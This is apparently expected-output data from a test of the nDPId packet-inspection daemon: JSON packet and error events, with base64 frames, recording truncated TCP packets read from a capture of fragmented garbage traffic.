-00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":4020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028348981} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028348991} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349003} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349016} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349029} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349042} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349055} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349097} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349123} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349136} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349165} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349208} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349220} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349233} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349248} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349275} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349290} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349316} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349329} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349344} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349357} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349370} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349380} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349394} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349407} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349420} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349433} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349446} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349464} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349478} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349517} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349529} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349542} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349560} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028349583} 